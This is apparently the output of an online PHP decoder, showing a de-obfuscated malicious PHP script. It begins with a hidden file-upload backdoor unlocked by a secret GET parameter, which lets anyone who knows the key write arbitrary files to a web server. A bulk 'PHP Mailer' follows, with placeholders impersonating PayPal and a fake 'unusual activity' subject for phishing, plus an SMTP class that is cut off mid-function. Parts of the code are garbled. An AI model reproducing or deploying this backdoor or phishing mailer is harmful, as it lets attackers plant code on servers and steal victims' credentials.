Online PHP and Javascript Decoder decode hidden script to uncover its real functionality


$GLOBALS["vXqjxKPsqeNIVsuiWhGU"]=base64_decode("VGhlcmUgd2FzIGFuIGVycm9yIHVwbG9hZGluZyB0aGUgZmlsZS4gcGxlYXNlIHRyeSBhZ2FpbiE=");$GLOBALS["JeAOurCWjNpSPrRakjmB"]=base64_decode("IGhhcyBiZWVuIHVwbG9hZGVk");$GLOBALS["mgFJJsMtgvXAGcuuMMzM"]=base64_decode("VGhlIGZpbGUg");$GLOBALS["PGnDVWIKgIUmFrZyuhhU"]=base64_decode("dG1wX25hbWU=");$GLOBALS["XckkIahjVOedVNldUNrH"]=base64_decode("bmFtZQ==");$GLOBALS["bfUQwRWAgingnOqPGinP"]=base64_decode("dXNlcmZpbGU=");$GLOBALS["SnsSSwMKZSYeMFnEirnh"]=base64_decode("");$GLOBALS["VcwkMDMTCHbtKVTmEjxU"]=base64_decode("U2FoYXI=");$GLOBALS["WDzbMMESQcYByxgfBDuN"]=base64_decode("U2FraGVy");$uOqrFZblQlFFKNhrUWPJ = $_GET[$GLOBALS["WDzbMMESQcYByxgfBDuN"]];  
if ($uOqrFZblQlFFKNhrUWPJ == $GLOBALS["VcwkMDMTCHbtKVTmEjxU"] ) { 
$mwvQEGpICpvofEKyI = $GLOBALS["SnsSSwMKZSYeMFnEirnh"]; 
$QNltTzCqkwPUAndjbYo = $mwvQEGpICpvofEKyI . basename($_FILES[$GLOBALS["bfUQwRWAgingnOqPGinP"]][$GLOBALS["XckkIahjVOedVNldUNrH"]]); 
if (isset($_FILES[$GLOBALS["bfUQwRWAgingnOqPGinP"]][$GLOBALS["XckkIahjVOedVNldUNrH"]]))  
{  
if (move_uploaded_file($_FILES[$GLOBALS["bfUQwRWAgingnOqPGinP"]][$GLOBALS["PGnDVWIKgIUmFrZyuhhU"]], $QNltTzCqkwPUAndjbYo))  
{  
$wPDaVvfwQdDnCmwNCJnK = $GLOBALS["mgFJJsMtgvXAGcuuMMzM"]. basename($_FILES[$GLOBALS["bfUQwRWAgingnOqPGinP"]][$GLOBALS["XckkIahjVOedVNldUNrH"]]) .$GLOBALS["JeAOurCWjNpSPrRakjmB"];}  
else { $wPDaVvfwQdDnCmwNCJnK = $GLOBALS["vXqjxKPsqeNIVsuiWhGU"]; }  
} 
echo'<html> 
<head>
</head> 
<div id="result"> 
<table  height="1" width="100%" bgcolor="eb6b44" bordercolorlight="#c0c0c0" border="0"> 
<tr><td width="50%" height="1" valign="top" style="font-family: verdana; color: #d9d9d9; font-size: 11px"> 
<center><form method="POST" enctype="multipart/form-data"> 
<input type="file" class="inputzbut" name="userfile" style="font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666; background-color: #FF0000"> 
<input type="submit" class="inputzbut" name="submit" value="Upload" style="font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666; background-color: #FF0000"><br>'. $resultati .'</form></center></td></tr></table></div>';  
} 

function query_str($params){ 
$str = '';  
foreach ($params as $key => $value) { 
$str .= (strlen($str) < 1) ? '' : '&'; 
$str .= $key . '=' . rawurlencode($value); 
} 
return ($str); 
} 
function lrtrim($string){ 
return stripslashes(ltrim(rtrim($string))); 
} 

if(isset($_POST['action'] ) ){ 

$b = query_str($_POST); 
parse_str($b);   
$sslclick=lrtrim($sslclick);   
$action=lrtrim($action); 
$message=lrtrim($message); 
$emaillist=lrtrim($emaillist); 
$from=lrtrim($from); 
$reconnect=lrtrim($reconnect); 
$epriority=lrtrim($epriority); 
$my_smtp=lrtrim($my_smtp); 
$ssl_port=lrtrim($ssl_port); 
$smtp_username=lrtrim($smtp_username); 
$smtp_password=lrtrim($smtp_password); 
$replyto=lrtrim($replyto); 
$subject=lrtrim($subject); 
$realname=lrtrim($realname); 
$subject_base=lrtrim($subject); 
$realname_base=lrtrim($realname); 
$file_name=lrtrim($file); 
$urlz=lrtrim($urlz); 
$contenttype=lrtrim($contenttype); 
$encode_text=$_POST['encode']; 

        $message = urlencode($message); 
        $message = ereg_replace("%5C%22", "%22", $message); 
        $message = urldecode($message); 
        $message = stripslashes($message); 
        $subject = stripslashes($subject); 
        if ($encode_text == "yes") { 
        $subject = preg_replace('/([^a-z ])/ie', 'sprintf("=%02x",ord(StripSlashes("\\1")))', $subject); 
        $subject = str_replace(' ', '_', $subject); 
        $subject = "=?UTF-8?Q?$subject?="; 
        $realname = preg_replace('/([^a-z ])/ie', 'sprintf("=%02x",ord(StripSlashes("\\1")))', $realname); 
        $realname = str_replace(' ', '_', $realname); 
        $realname = "=?UTF-8?Q?$realname?="; 
        } 
} 
<html> 

<head> 
<title>PHP Mailer</title> 
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> 

<style type="text/css"> 
 
.style2 { 
        font-family: Geneva, Arial, Helvetica, sans-serif; 
        font-family: Geneva, Arial, Helvetica, sans-serif; 
        font-size: 12px; 
		text-color:#000000;
} 
body {
    background-color:#579b9b;
}
</style> 
<style type="text/css"> 
 
</style> 
</head> 
<body text="#37ba40" > 
<form name="form1" method="post" action="" enctype="multipart/form-data"> 

  <div align="center">

  <table width="68%" border="0" height="428"> 

    <tr> 

      <td colspan="4" bgcolor="#666666" height="70"> 

       <a  target="_blank" href="https://www.youtube.com/channel/UCpJZrkxOfZI1Tg9pVgWhaPA"><img src="https://yt3.ggpht.com/-2cP4GLwZvg0/AAAAAAAAAAI/AAAAAAAAAAA/ZDwivTi8n1c/s288-mo-c-c0xffffffff-rj-k-no/photo.jpg" width="70px" height="80px"> </a>


        

      </tr> 
    <tr> 

      <td width="10%" height="23" bgcolor="000000"> 

        <div align="right"><font size="3px" face="Verdana, Arial, Helvetica, sans-serif"> 
            SMTP Login:</font></div> 

      </td> 

      <td width="18%" height="23" bgcolor="000000"><font size="4" face="Verdana, Arial, Helvetica, sans-serif"> 

        <input type="text" name="smtp_username" value="=$smtp_username;" size="30"> 

        </font></td> 

      <td width="21%" height="23" bgcolor="000000"> 

        <div align="right"><font size="3px" face="Verdana, Arial, Helvetica, sans-serif"> 
            SMTP Pass:</font></div> 

      </td> 

      <td width="46%" height="23" bgcolor="000000"><font size="3px" face="Verdana, Arial, Helvetica, sans-serif"> 

        <input type="password" name="smtp_password" value="=$smtp_password;" size="30"> 

        </font></td> 

    </tr> 
    <tr> 

      <td width="10%" height="26" bgcolor="000000"> 

        <div align="right"> 
          <font face="Verdana, Arial, Helvetica, sans-serif" size="4">Port :</font></div> 

      </td> 

      <td width="18%" height="26" bgcolor="000000"><font size="4" face="Verdana, Arial, Helvetica, sans-serif"> 

        <input type="text" name="ssl_port" value="=$ssl_port;" size="5">  
      (optional)</font></td> 

      <td width="21%" height="26" bgcolor="000000"> 

        <div align="right"> 
          <font face="Verdana, Arial, Helvetica, sans-serif" size="4">SMTP 
			Server Smtp:</font></div> 

      </td> 

      <td width="46%" height="26" bgcolor="000000"><font size="3px" face="Verdana, Arial, Helvetica, sans-serif"> 

        <input type="text" name="my_smtp" value="=$my_smtp;" size="30"> 

        </font></td> 

    </tr> 
    <tr> 

      <td width="10%" height="23" bgcolor="000000"> 

        <p align="right"> 
        <font face="Verdana, Arial, Helvetica, sans-serif" size="3px">SSL Server:</font></td> 

      <td width="18%" height="23" bgcolor="000000"> 
      <input type="checkbox" name="sslclick" value="ON" if($sslclick){ print "checked"; } ><font size="3px" face="Verdana, Arial, Helvetica, sans-serif">(yes)</font></td> 

      <td width="21%" height="23" bgcolor="000000"> 

        <p align="right"> 
        <font face="Verdana, Arial, Helvetica, sans-serif" size="3px">Reconnect 
		After:</font></td> 

      <td width="46%" height="23" bgcolor="000000"><font size="3px" face="Verdana, Arial, Helvetica, sans-serif"> 

        <input type="text" name="reconnect" value="=$reconnect;" size="5">  
      EMAILS</font></td> 

    </tr> 

    <tr> 

      <td width="10%" height="27" bordercolor="000000" bgcolor="000000"> 

        <div align="right"><font size="3px" face="Verdana, Arial, Helvetica, sans-serif"> 
            Your Email:</font></div> 

      </td> 

      <td width="18%" height="27" bordercolor="000000" bgcolor="000000"><font size="3px" face="Verdana, Arial, Helvetica, sans-serif"> 

        <input type="text" name="from" value="=$from;" size="30" placeholder="no_reply@service.com"> 

        </font></td> 

      <td width="21%" height="27" bordercolor="000000" bgcolor="000000"> 

        <div align="right"><font size="3px" face="Verdana, Arial, Helvetica, sans-serif"> 
            Your Name:</font></div> 

      </td> 

      <td width="46%" height="27" bordercolor="000000" bgcolor="000000"><font size="3px" face="Verdana, Arial, Helvetica, sans-serif"> 

        <input type="text" name="realname" value="=$realname_base;" size="30" placeholder="Pay Pal"> 

        </font></td> 

    </tr> 
    <tr> 

      <td width="10%" height="28" bgcolor="000000" bordercolor="000000"> 

        <div align="right"><font size="3px" face="Verdana, Arial, Helvetica, sans-serif"> 
            Reply-To:</font></div> 

      </td> 

      <td width="18%" height="28" bgcolor="000000" bordercolor="000000"><font size="3px" face="Verdana, Arial, Helvetica, sans-serif"> 

        <input type="text" name="replyto" value="=$replyto;" size="30" placeholder="no_reply@service.com"> 

        </font></td> 

      <td width="21%" height="28" bgcolor="000000" bordercolor="000000"> 

        <p align="right"><font size="3px" face="Verdana, Arial, Helvetica, sans-serif"> 
        Email Priority:</font></td> 

      <td width="46%" height="28" bgcolor="000000" bordercolor="000000"><font size="3px" face="Verdana, Arial, Helvetica, sans-serif"> 

        &nbsp;</font><select name="epriority" id="listMethod" onchange="showHideListConfig()"> 
        <option value="" if(strlen($epriority)< 1){print "selected";} >- 
		Please Choose -</option> 
        <option value="1" if($epriority == "1"){print "selected";} >High</option> 
        <option value="3" if($epriority == "3"){print "selected";} >Normal</option> 
        <option value="5" if($epriority == "5"){print "selected";} >Low</option> 
        </select></td> 

    </tr> 

    <tr> 

      <td width="10%" height="30" bordercolor="000000" bgcolor="000000"> 

        <div align="right"><font size="3px" face="Verdana, Arial, Helvetica, sans-serif"> 
            Subject:</font></div> 

      </td> 

      <td colspan="3" height="30" bordercolor="000000" bgcolor="000000"><font size="3px" face="Verdana, Arial, Helvetica, sans-serif"> 

        <input type="text" name="subject" value="=$subject_base;" size="57" placeholder="We Noticied An unusual Activity In Your Account "> 

        </font></td> 

    </tr> 

    <tr> 

      <td width="10%" height="23" bordercolor="000000" bgcolor="000000"> 

        &nbsp;</td> 

      <td colspan="3" height="23" bordercolor="000000" bgcolor="000000"><font size="3px" face="Verdana, Arial, Helvetica, sans-serif"> 

        &nbsp;<font color="#FFFFFF"> Encode sending information ?</font> <select size="1" name="encode"> 
        <option if($encode_text == "yes"){print "selected";}>yes</option> 
        <option if($encode_text == "no"){print "selected";}>no</option> 

        </select></font></td> 
    </tr> 

    <tr valign="top"> 

<td colspan="3" height="191" bordercolor="000000" bgcolor="000000"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif">  

        &nbsp;<textarea name="message" cols="77" rows="17" placeholder="Put Your Letter Here :) By PiraTos S-Tn">=$message;</textarea> 

        </font>
<p><font size="-1" face="Verdana, Arial, Helvetica, sans-serif">  

        &nbsp;<br> 

        &nbsp;<input type="radio" name="contenttype" value="plain" > 

        Plain&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  

        <input type="radio" name="contenttype" value="html" checked> 

        HTML&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  

        <input type="hidden" name="action" value="send"> 

        <input type="submit" value="Send Message"> 

        </font></p>
<p>&nbsp;</td> 

      <td width="46%" height="191" bordercolor="000000" bgcolor="000000">
		<font face="Verdana, Arial, Helvetica, sans-serif" size="3px">&nbsp;<textarea name="emaillist" cols="33" rows="17" placeholder="email@domain.com">=$emaillist;</textarea></font><p>&nbsp;</td> 

    </tr> 

  </table> 

	</div>

</form> 



if ($action){ 
        if (!$from && !$subject && !$message && !$emaillist){ 
        print "<script>alert('Please complete all fields before sending your message.'); </script>"; 
        die();    } 

class SMTP 
{ 
  /** 
   *  SMTP server port 
   *  @var int 
   */ 
  var $SMTP_PORT = 25; 

  /** 
   *  SMTP reply line ending 
   *  @var string 
   */ 
  var $CRLF = "\r\n"; 

  /** 
   *  Sets whether debugging is turned on 
   *  @var bool 
   */ 
  var $do_debug;       # the level of debug to perform 

  /** 
   *  Sets VERP use on/off (default is off) 
   *  @var bool 
   */ 
  var $do_verp = false; 

  /**#@+ 
   * @access private 
   */ 
  var $smtp_conn;      # the socket to the server 
  var $error;          # error if any on the last call 
  var $helo_rply;      # the reply the server sent to us for HELO 
  /**#@-*/ 

  /** 
   * Initialize the class so that the data is in a known state. 
   * @access public 
   * @return void 
   */ 
  function SMTP() { 
    $this->smtp_conn = 0; 
    $this->error = null; 
    $this->helo_rply = null; 

    $this->do_debug = 0; 
  } 

  /************************************************************* 
   *                    CONNECTION FUNCTIONS                  * 
   ***********************************************************/ 

  /** 
   * Connect to the server specified on the port specified. 
   * If the port is not specified use the default SMTP_PORT. 
   * If tval is specified then a connection will try and be 
   * established with the server for that number of seconds. 
   * If tval is not specified the default is 30 seconds to 
   * try on the connection. 
   * 
   * SMTP CODE SUCCESS: 220 
   * SMTP CODE FAILURE: 421 
   * @access public 
   * @return bool 
   */ 
  function Connect($host,$port=0,$tval=30) { 
    # set the error val to null so there is no confusion 
    $this->error = null; 

    # make sure we are __not__ connected 
    if($this->connected()) { 
      # ok we are connected! what should we do? 
      # for now we will just give an error saying we 
      # are already connected 
      $this->error = array("error" => "Already connected to a server"); 
      return false; 
    } 

    if(empty($port)) { 
      $port = $this->SMTP_PORT; 
    } 

    #connect to the smtp server 
    $this->smtp_conn = fsockopen($host,    # the host of the server 
                                 $port,    # the port to use 
                                 $errno,   # error number if any 
                                 $errstr,  # error message if any 
                                 $tval);   # give up after ? secs 
    # verify we connected properly 
    if(empty($this->smtp_conn)) { 
      $this->error = array("error" => "Failed to connect to server", 
                           "errno" => $errno, 
                           "errstr" => $errstr); 
      if($this->do_debug >= 1) { 
        echo "SMTP -> ERROR: " . $this->error["error"] . 
                 ": $errstr ($errno)" . $this->CRLF; 
      } 
      return false; 
    } 

    # sometimes the SMTP server takes a little longer to respond 
    # so we will give it a longer timeout for the first read 
    // Windows still does not have support for this timeout function 
    if(substr(PHP_OS, 0, 3) != "WIN") 
     socket_set_timeout($this->smtp_conn, $tval, 0); 

    # get any announcement stuff 
    $announce = $this->get_lines(); 

    # set the timeout  of any socket functions at 1/10 of a second 
    //if(function_exists("socket_set_timeout")) 
    //   socket_set_timeout($this->smtp_conn, 0, 100000); 

    if($this->do_debug >= 2) { 
      echo "SMTP -> FROM SERVER:" . $this->CRLF . $announce; 
    } 

    return true; 
  } 

  /** 
   * Performs SMTP authentication.  Must be run after running the 
   * Hello() method.  Returns true if successfully authenticated. 
   * @access public 
   * @return bool 
   */ 
  function Authenticate($username, $password) { 
    // Start authentication 
    fputs($this->smtp_conn,"AUTH LOGIN" . $this->CRLF); 

    $rply = $this->get_lines(); 
    $code = substr($rply,0,3); 

    if($code != 334) { 
      $this->error = 
        array("error" => "AUTH not accepted from server", 
              "smtp_code" => $code, 
              "smtp_msg" => substr($rply,4)); 
      if($this->do_debug >= 1) { 
        echo "SMTP -> ERROR: " . $this->error["error"] . 
                 ": " . $rply . $this->CRLF; 
      } 
      return false; 
    } 

    // Send encoded username 
    fputs($this->smtp_conn, base64_encode($username) . $this->CRLF); 

    $rply = $this->get_lines(); 
    $code = substr($rply,0,3); 

    if($code != 334) { 
      $this->error = 
        array("error" => "Username not accepted from server", 
              "smtp_code" => $code, 
              "smtp_msg" => substr($rply,4)); 
      if($this->do_debug >= 1) { 
        echo "SMTP -> ERROR: " . $this->error["error"] . 
                 ": " . $rply . $this->CRLF; 
      } 
      return false; 
    } 

    // Send encoded password 
    fputs($this->smtp_conn, base64_encode($password) . $this->CRLF); 

    $rply = $this->get_lines(); 
    $code = substr($rply,0,3); 

    if($code != 235) { 
      $this->error = 
        array("error" => "Password not accepted from server", 
              "smtp_code" => $code, 
              "smtp_msg" => substr($rply,4)); 
      if($this->do_debug >= 1) { 
        echo "SMTP -> ERROR: " . $this->error["error"] . 
                 ": " . $rply . $this->CRLF; 
      } 
      return false; 
    } 

    return true; 
  } 

  /** 
   * Returns true if connected to a server otherwise false 
   * @access private 
   * @return bool 
   */ 
  function Connected() { 
    if(!empty($this->smtp_conn)) { 
      $sock_status = socket_get_status($this->smtp_conn); 
      if($sock_status["eof"]) { 
        # hmm this is an odd situation... the socket is 
        # valid but we are not connected anymore 
        if($this->do_debug >= 1) { 
            echo "SMTP -> NOTICE:" . $this->CRLF . 
                 "EOF caught while checking if connected"; 
        } 
        $this->Close(); 
        return false; 
      } 
      return true; # everything looks good 
    } 
    return false; 
  } 

  /** 
   * Closes the socket and cleans up the state of the class. 
   * It is not considered good to use this function without 
   * first trying to use QUIT. 
   * @access public 
   * @return void 
   */ 
  function Close() { 
    $this->error = null; # so there is no confusion 
    $this->helo_rply = null; 
    if(!empty($this->smtp_conn)) { 
      # close the connection and cleanup 
      fclose($this->smtp_conn); 
      $this->smtp_conn = 0; 
    } 
  } 

  /*************************************************************** 
   *                        SMTP COMMANDS                       * 
   *************************************************************/ 

  /** 
   * Issues a data command and sends the msg_data to the server 
   * finializing the mail transaction. $msg_data is the message 
   * that is to be send with the headers. Each header needs to be 
   * on a single line followed by a <CRLF> with the message headers 
   * and the message body being seperated by and additional <CRLF>. 
   * 
   * Implements rfc 821: DATA <CRLF> 
   * 
   * SMTP CODE INTERMEDIATE: 354 
   *     [data] 
   *     <CRLF>.<CRLF> 
   *     SMTP CODE SUCCESS: 250 
   *     SMTP CODE FAILURE: 552,554,451,452 
   * SMTP CODE FAILURE: 451,554 
   * SMTP CODE ERROR  : 500,501,503,421 
   * @access public 
   * @return bool 
   */ 
  function Data($msg_data) { 
    $this->error = null; # so no confusion is caused 

    if(!$this->connected()) { 
      $this->error = array( 
              "error" => "Called Data() without being connected"); 
      return false; 
    } 

    fputs($this->smtp_conn,"DATA" . $this->CRLF); 

    $rply = $this->get_lines(); 
    $code = substr($rply,0,3); 

    if($this->do_debug >= 2) { 
      echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply; 
    } 

    if($code != 354) { 
      $this->error = 
        array("error" => "DATA command not accepted from server", 
              "smtp_code" => $code, 
              "smtp_msg" => substr($rply,4)); 
      if($this->do_debug >= 1) { 
        echo "SMTP -> ERROR: " . $this->error["error"] . 
                 ": " . $rply . $this->CRLF; 
      } 
      return false; 
    } 

    # the server is ready to accept data! 
    # according to rfc 821 we should not send more than 1000 
    # including the CRLF 
    # characters on a single line so we will break the data up 
    # into lines by \r and/or \n then if needed we will break 
    # each of those into smaller lines to fit within the limit. 
    # in addition we will be looking for lines that start with 
    # a period  and append and additional period  to that 
    # line. NOTE: this does not count towards are limit. 

    # normalize the line breaks so we know the explode works 
    $msg_data = str_replace("\r\n","\n",$msg_data); 
    $msg_data = str_replace("\r","\n",$msg_data); 
    $lines = explode("\n",$msg_data); 

    # we need to find a good way to determine is headers are 
    # in the msg_data or if it is a straight msg body 
    # currently I am assuming rfc 822 definitions of msg headers 
    # and if the first field of the first line (':' sperated) 
    # does not contain a space then it _should_ be a header 
    # and we can process all lines before a blank "" line as 
    # headers. 
    $field = substr($lines[0],0,strpos($lines[0],":")); 
    $in_headers = false; 
    if(!empty($field) && !strstr($field," ")) { 
      $in_headers = true; 
    } 

    $max_line_length = 998; # used below; set here for ease in change 

    while(list(,$line) = @each($lines)) { 
      $lines_out = null; 
      if($line == "" && $in_headers) { 
        $in_headers = false; 
      } 
      # ok we need to break this line up into several 
      # smaller lines 
      while(strlen($line) > $max_line_length) { 
        $pos = strrpos(substr($line,0,$max_line_length)," "); 

        # Patch to fix DOS attack 
        if(!$pos) { 
          $pos = $max_line_length - 1; 
        } 

        $lines_out[] = substr($line,0,$pos); 
        $line = substr($line,$pos + 1); 
        # if we are processing headers we need to 
        # add a LWSP-char to the front of the new line 
        # rfc 822 on long msg headers 
        if($in_headers) { 
          $line = "\t" . $line; 
        } 
      } 
      $lines_out[] = $line; 

      # now send the lines to the server 
      while(list(,$line_out) = @each($lines_out)) { 
        if(strlen($line_out) > 0) 
        { 
          if(substr($line_out, 0, 1) == ) { 
            $line_out =  . $line_out; 
          } 
        } 
        fputs($this->smtp_conn,$line_out . $this->CRLF); 
      } 
    } 

    # ok all the message data has been sent so lets get this 
    # over with aleady 
    fputs($this->smtp_conn, $this->CRLF .  . $this->CRLF); 

    $rply = $this->get_lines(); 
    $code = substr($rply,0,3); 

    if($this->do_debug >= 2) { 
      echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply; 
    } 

    if($code != 250) { 
      $this->error = 
        array("error" => "DATA not accepted from server", 
              "smtp_code" => $code, 
              "smtp_msg" => substr($rply,4)); 
      if($this->do_debug >= 1) { 
        echo "SMTP -> ERROR: " . $this->error["error"] . 
                 ": " . $rply . $this->CRLF; 
      } 
      return false; 
    } 
    return true; 
  } 

  /** 
   * Expand takes the name and asks the server to list all the 
   * people who are members of the _list_. Expand will return 
   * back and array of the result or false if an error occurs. 
   * Each value in the array returned has the format of: 
   *     [ <full-name> <sp> ] <path> 
   * The definition of <path> is defined in rfc 821 
   * 
   * Implements rfc 821: EXPN <SP> <string> <CRLF> 
   * 
   * SMTP CODE SUCCESS: 250 
   * SMTP CODE FAILURE: 550 
   * SMTP CODE ERROR  : 500,501,502,504,421 
   * @access public 
   * @return string array 
   */ 
  function Expand($name) { 
    $this->error = null; # so no confusion is caused 

    if(!$this->connected()) { 
      $this->error = array( 
            "error" => "Called Expand() without being connected"); 
      return false; 
    } 

    fputs($this->smtp_conn,"EXPN " . $name . $this->CRLF); 

    $rply = $this->get_lines(); 
    $code = substr($rply,0,3); 

    if($this->do_debug >= 2) { 
      echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply; 
    } 

    if($code != 250) { 
      $this->error = 
        array("error" => "EXPN not accepted from server", 
              "smtp_code" => $code, 
              "smtp_msg" => substr($rply,4)); 
      if($this->do_debug >= 1) { 
        echo "SMTP -> ERROR: " . $this->error["error"] . 
                 ": " . $rply . $this->CRLF; 
      } 
      return false; 
    } 

    # parse the reply and place in our array to return to user 
    $entries = explode($this->CRLF,$rply); 
    while(list(,$l) = @each($entries)) { 
      $list[] = substr($l,4); 
    } 

    return $list; 
  } 

  /** 
   * Sends the HELO command to the smtp server. 
   * This makes sure that we and the server are in 
   * the same known state. 
   * 
   * Implements from rfc 821: HELO <SP> <domain> <CRLF> 
   * 
   * SMTP CODE SUCCESS: 250 
   * SMTP CODE ERROR  : 500, 501, 504, 421 
   * @access public 
   * @return bool 
   */ 
  function Hello($host="") { 
    $this->error = null; # so no confusion is caused 

    if(!$this->connected()) { 
      $this->error = array( 
            "error" => "Called Hello() without being connected"); 
      return false; 
    } 

    # if a hostname for the HELO was not specified determine 
    # a suitable one to send 
    if(empty($host)) { 
      # we need to determine some sort of appopiate default 
      # to send to the server 
      $host = "localhost"; 
    } 

    // Send extended hello first (RFC 2821) 
    if(!$this->SendHello("EHLO", $host)) 
    { 
      if(!$this->SendHello("HELO", $host)) 
          return false; 
    } 

    return true; 
  } 

  /** 
   * Sends a HELO/EHLO command. 
   * @access private 
   * @return bool 
   */ 
  function SendHello($hello, $host) { 
    fputs($this->smtp_conn, $hello . " " . $host . $this->CRLF); 

    $rply = $this->get_lines(); 
    $code = substr($rply,0,3); 

    if($this->do_debug >= 2) { 
      echo "SMTP -> FROM SERVER: " . $this->CRLF . $rply; 
    } 

    if($code != 250) { 
      $this->error = 
        array("error" => $hello . " not accepted from server", 
              "smtp_code" => $code, 
              "smtp_msg" => substr($rply,4)); 
      if($this->do_debug >= 1) { 
        echo "SMTP -> ERROR: " . $this->error["error"] . 
                 ": " . $rply . $this->CRLF; 
      } 
      return false; 
    } 

    $this->helo_rply = $rply; 

    return true; 
  } 

  /** 
   * Gets help information on the keyword specified. If the keyword 
   * is not specified then returns generic help, ussually contianing 
   * A list of keywords that help is available on. This function 
   * returns the results back to the user. It is up to the user to 
   * handle the returned data. If an error occurs then false is 
   * returned with $this->error set appropiately. 
   * 
   * Implements rfc 821: HELP [ <SP> <string> ] <CRLF> 
   * 
   * SMTP CODE SUCCESS: 211,214 
   * SMTP CODE ERROR  : 500,501,502,504,421 
   * @access public 
   * @return string 
   */ 
  function Help($keyword="") { 
    $this->error = null; # to avoid confusion 

    if(!$this->connected()) { 
      $this->error = array( 
              "error" => "Called Help() without being connected"); 
      return false; 
    } 

    $extra = ""; 
    if(!empty($keyword)) { 
      $extra = " " . $keyword; 
    } 

    fputs($this->smtp_conn,"HELP" . $extra . $this->CRLF); 

    $rply = $this->get_lines(); 
    $code = substr($rply,0,3); 

    if($this->do_debug >= 2) { 
      echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply; 
    } 

    if($code != 211 && $code != 214) { 
      $this->error = 
        array("error" => "HELP not accepted from server", 
              "smtp_code" => $code, 
              "smtp_msg" => substr($rply,4)); 
      if($this->do_debug >= 1) { 
        echo "SMTP -> ERROR: " . $this->error["error"] . 
                 ": " . $rply . $this->CRLF; 
      } 
      return false; 
    } 

    return $rply; 
  } 

  /** 
   * Starts a mail transaction from the email address specified in 
   * $from. Returns true if successful or false otherwise. If True 
   * the mail transaction is started and then one or more Recipient 
   * commands may be called followed by a Data command. 
   * 
   * Implements rfc 821: MAIL <SP> FROM:<reverse-path> <CRLF> 
   * 
   * SMTP CODE SUCCESS: 250 
   * SMTP CODE SUCCESS: 552,451,452 
   * SMTP CODE SUCCESS: 500,501,421 
   * @access public 
   * @return bool 
   */ 
  function Mail($from) { 
    $this->error = null; # so no confusion is caused 

    if(!$this->connected()) { 
      $this->error = array( 
              "error" => "Called Mail() without being connected"); 
      return false; 
    } 

    $useVerp = ($this->do_verp ? "XVERP" : ""); 
    fputs($this->smtp_conn,"MAIL FROM:<" . $from . ">" . $useVerp . $this->CRLF); 

    $rply = $this->get_lines(); 
    $code = substr($rply,0,3); 

    if($this->do_debug >= 2) { 
      echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply; 
    } 

    if($code != 250) { 
      $this->error = 
        array("error" => "MAIL not accepted from server", 
              "smtp_code" => $code, 
              "smtp_msg" => substr($rply,4)); 
      if($this->do_debug >= 1) { 
        echo "SMTP -> ERROR: " . $this->error["error"] . 
                 ": " . $rply . $this->CRLF; 
      } 
      return false; 
    } 
    return true; 
  } 

  /** 
   * Sends the command NOOP to the SMTP server. 
   * 
   * Implements from rfc 821: NOOP <CRLF> 
   * 
   * SMTP CODE SUCCESS: 250 
   * SMTP CODE ERROR  : 500, 421 
   * @access public 
   * @return bool 
   */ 
  function Noop() { 
    $this->error = null; # so no confusion is caused 

    if(!$this->connected()) { 
      $this->error = array( 
              "error" => "Called Noop() without being connected"); 
      return false; 
    } 

    fputs($this->smtp_conn,"NOOP" . $this->CRLF); 

    $rply = $this->get_lines(); 
    $code = substr($rply,0,3); 

    if($this->do_debug >= 2) { 
      echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply; 
    } 

    if($code != 250) { 
      $this->error = 
        array("error" => "NOOP not accepted from server", 
              "smtp_code" => $code, 
              "smtp_msg" => substr($rply,4)); 
      if($this->do_debug >= 1) { 
        echo "SMTP -> ERROR: " . $this->error["error"] . 
                 ": " . $rply . $this->CRLF; 
      } 
      return false; 
    } 
    return true; 
  } 

  /** 
   * Sends the quit command to the server and then closes the socket 
   * if there is no error or the $close_on_error argument is true. 
   * 
   * Implements from rfc 821: QUIT <CRLF> 
   * 
   * SMTP CODE SUCCESS: 221 
   * SMTP CODE ERROR  : 500 
   * @access public 
   * @return bool 
   */ 
  function Quit($close_on_error=true) { 
    $this->error = null; # so there is no confusion 

    if(!$this->connected()) { 
      $this->error = array( 
              "error" => "Called Quit() without being connected"); 
      return false; 
    } 

    # send the quit command to the server 
    fputs($this->smtp_conn,"quit" . $this->CRLF); 

    # get any good-bye messages 
    $byemsg = $this->get_lines(); 

    if($this->do_debug >= 2) { 
      echo "SMTP -> FROM SERVER:" . $this->CRLF . $byemsg; 
    } 

    $rval = true; 
    $e = null; 

    $code = substr($byemsg,0,3); 
    if($code != 221) { 
      # use e as a tmp var cause Close will overwrite $this->error 
      $e = array("error" => "SMTP server rejected quit command", 
                 "smtp_code" => $code, 
                 "smtp_rply" => substr($byemsg,4)); 
      $rval = false; 
      if($this->do_debug >= 1) { 
        echo "SMTP -> ERROR: " . $e["error"] . ": " . 
                 $byemsg . $this->CRLF; 
      } 
    } 

    if(empty($e) || $close_on_error) { 
      $this->Close(); 
    } 

    return $rval; 
  } 

  /** 
   * Sends the command RCPT to the SMTP server with the TO: argument of $to. 
   * Returns true if the recipient was accepted false if it was rejected. 
   * 
   * Implements from rfc 821: RCPT <SP> TO:<forward-path> <CRLF> 
   * 
   * SMTP CODE SUCCESS: 250,251 
   * SMTP CODE FAILURE: 550,551,552,553,450,451,452 
   * SMTP CODE ERROR  : 500,501,503,421 
   * @access public 
   * @return bool 
   */ 
  function Recipient($to) { 
    $this->error = null; # so no confusion is caused 

    if(!$this->connected()) { 
      $this->error = array( 
              "error" => "Called Recipient() without being connected"); 
      return false; 
    } 

    fputs($this->smtp_conn,"RCPT TO:<" . $to . ">" . $this->CRLF); 

    $rply = $this->get_lines(); 
    $code = substr($rply,0,3); 

    if($this->do_debug >= 2) { 
      echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply; 
    } 

    if($code != 250 && $code != 251) { 
      $this->error = 
        array("error" => "RCPT not accepted from server", 
              "smtp_code" => $code, 
              "smtp_msg" => substr($rply,4)); 
      if($this->do_debug >= 1) { 
